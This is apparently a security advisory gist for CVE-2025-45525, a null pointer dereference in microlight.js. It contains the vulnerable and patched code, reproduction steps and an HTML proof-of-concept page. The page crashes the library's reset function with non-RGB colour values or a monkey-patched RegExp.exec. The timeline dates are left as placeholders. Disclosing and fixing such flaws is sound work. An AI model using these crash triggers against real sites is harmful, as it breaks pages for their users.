Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save Rootingg/843368931f70886bed3cf982f10a4424 to your computer and use it in GitHub Desktop.

Select an option

Save Rootingg/843368931f70886bed3cf982f10a4424 to your computer and use it in GitHub Desktop.
Microlight.js Null Pointer Dereference Vulnerability

Microlight.js Null Pointer Dereference Vulnerability

CVE-2025-45525

Summary

A null pointer dereference vulnerability was discovered in microlight.js (version 0.0.7), a lightweight syntax highlighting library. When processing elements with non-standard CSS color values, the library fails to validate the result of a regular expression match before accessing its properties, leading to an uncaught TypeError and potential application crash.

Vulnerability Type: Null Pointer Dereference CVE ID: CVE-2025-45525 Affected Version: 0.0.7 (and potentially earlier versions) CVSS Score: 5.5 Medium (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L) Discovered By: Lucas TORRES (rooting)

Description

Microlight.js is a lightweight syntax highlighting library that improves readability of code snippets. When initializing the highlight process, the library attempts to extract color components from the computed style of an element. However, if the CSS color value doesn't match the expected RGB/RGBA format, the regular expression will fail, returning null. The library then directly accesses properties of this null value without validation, resulting in an "Uncaught TypeError: Cannot read properties of null (reading '1')" error that crashes the application.

Vulnerable Code

The vulnerability exists in the reset function in microlight.js:

colorArr = /(\d*\, \d*\, \d*)(, ([.\d]*))?/g.exec(
    _window.getComputedStyle(el).color
),
pxColor = 'px rgba('+colorArr[1]+',',  // Vulnerable line - colorArr may be null
alpha = colorArr[3]||1;  // Note: Has fallback for colorArr[3] but not for colorArr itself

If the regular expression .exec() method fails to match the pattern in the element's color value, colorArr will be null. Subsequently, when the code attempts to access colorArr[1], a TypeError is thrown, crashing the application.

Impact

This vulnerability can lead to a Denial of Service (DoS) condition. If a web page includes elements with problematic color values that are processed by microlight.js, the application will crash. This can be exploited to:

  1. Crash browser tabs running applications that use microlight.js
  2. Create unstable user experiences in websites using this library
  3. Potentially lead to data loss if a user has unsaved work in the affected browser tab

Proof of Concept

A proof of concept demonstrating the vulnerability is available in the accompanying HTML file (microlight-vulnerability-poc.html). The PoC uses multiple methods to verify the vulnerability:

  1. Direct testing with problematic CSS color values
  2. Monkey patching to force the vulnerable condition
  3. Direct inspection of the vulnerability

Reproduction Steps

  1. Create HTML elements with the microlight class
  2. Set their CSS color property to values that won't match the RGB/RGBA format, such as:
    • transparent
    • inherit
    • initial
    • unset
    • none
  3. Call microlight.reset() to trigger the highlighting process
  4. Observe the JavaScript error in the console

Remediation

The issue can be fixed by adding proper validation for colorArr before accessing its properties:

// Original vulnerable code
colorArr = /(\d*\, \d*\, \d*)(, ([.\d]*))?/g.exec(
    _window.getComputedStyle(el).color
),
pxColor = 'px rgba('+colorArr[1]+',',
alpha = colorArr[3]||1;

// Fixed code
colorArr = /(\d*\, \d*\, \d*)(, ([.\d]*))?/g.exec(
    _window.getComputedStyle(el).color
) || [null, '0, 0, 0', null, '1'],  // Provide default when regex fails
pxColor = 'px rgba('+(colorArr[1])+',',
alpha = colorArr[3]||1;

Disclosure Timeline

  • [Date]: Vulnerability discovered
  • [Date]: Initial attempt to contact vendor
  • [Date]: Second attempt to contact vendor
  • [Date]: CVE request submitted
  • [Date]: Public disclosure

References

  1. Microlight.js GitHub repository: https://github.com/asvd/microlight
  2. Proof of Concept: https://gist.github.com/Rootingg/843368931f70886bed3cf982f10a4424

This research was conducted following responsible disclosure practices. The vendor was contacted prior to public disclosure, but no response was received within the standard 90-day disclosure period.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Microlight.js Null Pointer Dereference PoC</title>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
line-height: 1.6;
margin: 0;
padding: 20px;
color: #333;
background-color: #f8f9fa;
}
.container {
max-width: 800px;
margin: 0 auto;
background: #fff;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #d32f2f;
margin-top: 0;
padding-bottom: 10px;
border-bottom: 1px solid #eee;
}
h2 {
color: #333;
margin-top: 30px;
}
button {
padding: 10px 15px;
margin: 10px 5px 10px 0;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 14px;
transition: background-color 0.3s;
}
button:hover {
background-color: #45a049;
}
button.danger {
background-color: #f44336;
}
button.danger:hover {
background-color: #d32f2f;
}
button.neutral {
background-color: #2196F3;
}
button.neutral:hover {
background-color: #0b7dda;
}
pre {
background-color: #f5f5f5;
padding: 15px;
border-radius: 4px;
overflow-x: auto;
font-family: 'Courier New', Courier, monospace;
border: 1px solid #ddd;
}
code {
font-family: 'Courier New', Courier, monospace;
background-color: #f5f5f5;
padding: 2px 4px;
border-radius: 3px;
}
.exploit-log {
background-color: #000;
color: #0f0;
font-family: 'Courier New', Courier, monospace;
padding: 15px;
border-radius: 4px;
margin-top: 20px;
height: 250px;
overflow-y: auto;
}
.success {
color: #4CAF50;
}
.error {
color: #f44336;
}
.warning {
color: #ff9800;
}
.info {
color: #2196F3;
}
.vulnerability-details {
background-color: #fff9c4;
border-left: 4px solid #fbc02d;
padding: 15px;
margin: 20px 0;
border-radius: 0 4px 4px 0;
}
.fixed-code {
background-color: #e8f5e9;
border-left: 4px solid #4CAF50;
}
.vulnerable-code {
background-color: #ffebee;
border-left: 4px solid #f44336;
}
</style>
</head>
<body>
<div class="container">
<h1>Microlight.js Null Pointer Dereference Vulnerability</h1>
<div class="vulnerability-details">
<p><strong>Type:</strong> Null Pointer Dereference</p>
<p><strong>Impact:</strong> Denial of Service (DoS) / Application Crash</p>
<p><strong>Affected Versions:</strong> 0.0.7 (and potentially earlier)</p>
<p><strong>CVE ID:</strong> [Pending Assignment]</p>
</div>
<h2>Vulnerability Description</h2>
<p>
Microlight.js contains a null pointer dereference vulnerability when processing elements with non-standard
CSS color values. The library attempts to extract color components using a regular expression, but fails to validate
if the result is null before accessing its properties.
</p>
<div class="vulnerable-code">
<h3>Vulnerable Code</h3>
<pre><code>colorArr = /(\d*\, \d*\, \d*)(, ([.\d]*))?/g.exec(
_window.getComputedStyle(el).color
),
pxColor = 'px rgba('+colorArr[1]+',', // No validation before access
alpha = colorArr[3]||1;</code></pre>
</div>
<div class="fixed-code">
<h3>Fixed Code</h3>
<pre><code>colorArr = /(\d*\, \d*\, \d*)(, ([.\d]*))?/g.exec(
_window.getComputedStyle(el).color
) || [null, '0, 0, 0', null, '1'], // Default value if regex fails
pxColor = 'px rgba('+(colorArr[1])+',',
alpha = colorArr[3]||1;</code></pre>
</div>
<h2>Proof of Concept</h2>
<p>This page demonstrates the vulnerability through multiple testing methods:</p>
<div class="control-panel">
<button id="directTest" class="danger">Test Direct Vulnerability</button>
<button id="monkeyPatchTest" class="danger">Test with Monkey Patching</button>
<button id="clearLog" class="neutral">Clear Log</button>
</div>
<h3>Sample Code Element:</h3>
<pre id="sampleElement" class="microlight">// This element will be highlighted by microlight.js
function testFunction() {
const message = "Testing vulnerability";
console.log(message);
return message.length;
}</pre>
<h3>Exploitation Log:</h3>
<div id="log" class="exploit-log"></div>
</div>
<!-- Load microlight.js -->
<!-- Note: Make sure this file exists in the same directory -->
<script src="microlight.js"></script>
<script>
// DOM Elements
const logElement = document.getElementById('log');
const sampleElement = document.getElementById('sampleElement');
// Logging function
function log(message, type = 'info') {
const timestamp = new Date().toTimeString().split(' ')[0];
const entry = document.createElement('div');
entry.className = type;
entry.textContent = `[${timestamp}] ${message}`;
logElement.appendChild(entry);
logElement.scrollTop = logElement.scrollHeight;
}
// Clear log
document.getElementById('clearLog').addEventListener('click', function() {
logElement.innerHTML = '';
log('Log cleared');
});
// Direct vulnerability test
document.getElementById('directTest').addEventListener('click', function() {
log('Starting direct vulnerability test...', 'info');
// Problematic colors that may trigger the vulnerability
const problematicColors = [
'transparent',
'inherit',
'initial',
'unset',
'none',
'invalidcolor'
];
let vulnerabilityConfirmed = false;
// Test each problematic color
for (const color of problematicColors) {
try {
log(`Testing with color: "${color}"`, 'info');
// Create test element
const testElement = document.createElement('pre');
testElement.className = 'microlight';
testElement.textContent = `// Testing color: ${color}\nconsole.log("Test");`;
testElement.style.color = color;
// Append to DOM temporarily
document.body.appendChild(testElement);
try {
// Try to trigger microlight
window.microlight.reset();
log(`No crash with color "${color}"`, 'success');
} catch (e) {
vulnerabilityConfirmed = true;
log(`✓ VULNERABILITY CONFIRMED with color "${color}": ${e.message}`, 'error');
if (e.message.includes('null')) {
log(' This confirms the null pointer dereference vulnerability!', 'error');
}
}
// Remove the test element
document.body.removeChild(testElement);
} catch (e) {
log(`Error in test setup: ${e.message}`, 'warning');
}
}
if (!vulnerabilityConfirmed) {
log('No crashes detected with direct testing. Trying monkey patch test instead.', 'warning');
}
});
// Monkey patch test
document.getElementById('monkeyPatchTest').addEventListener('click', function() {
log('Starting monkey patch vulnerability test...', 'info');
// Save original exec function
const originalExec = RegExp.prototype.exec;
let vulnerabilityConfirmed = false;
try {
// Replace exec to force null return for the color regex
RegExp.prototype.exec = function(str) {
if (this.toString().includes('\\d*\\,')) {
log('Color regex intercepted - returning null to simulate failure', 'info');
return null;
}
return originalExec.call(this, str);
};
// Create a test element
const testElement = document.createElement('pre');
testElement.className = 'microlight';
testElement.textContent = '// Monkey patch test\nconsole.log("Testing");';
document.body.appendChild(testElement);
try {
log('Executing microlight.reset() with patched regex...', 'info');
window.microlight.reset();
log('No crash with patched regex - unexpected!', 'warning');
} catch (e) {
vulnerabilityConfirmed = true;
log(`✓ VULNERABILITY CONFIRMED via monkey patch: ${e.message}`, 'error');
if (e.message.includes('null') && e.message.includes("'1'")) {
log('This definitively confirms the null pointer dereference vulnerability!', 'error');
log('Stack trace: ' + e.stack.split('\n')[0], 'error');
}
}
// Clean up
document.body.removeChild(testElement);
} catch (e) {
log(`Unexpected error: ${e.message}`, 'warning');
} finally {
// Restore original exec function
RegExp.prototype.exec = originalExec;
log('Restored original RegExp.prototype.exec function', 'info');
}
if (!vulnerabilityConfirmed) {
log('No vulnerability detected with monkey patching. The library may be patched or different.', 'warning');
}
});
// Initialize
window.addEventListener('load', function() {
log('PoC loaded. Click "Test Direct Vulnerability" or "Test with Monkey Patching" to begin.', 'info');
log('This PoC demonstrates a null pointer dereference vulnerability in microlight.js', 'info');
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment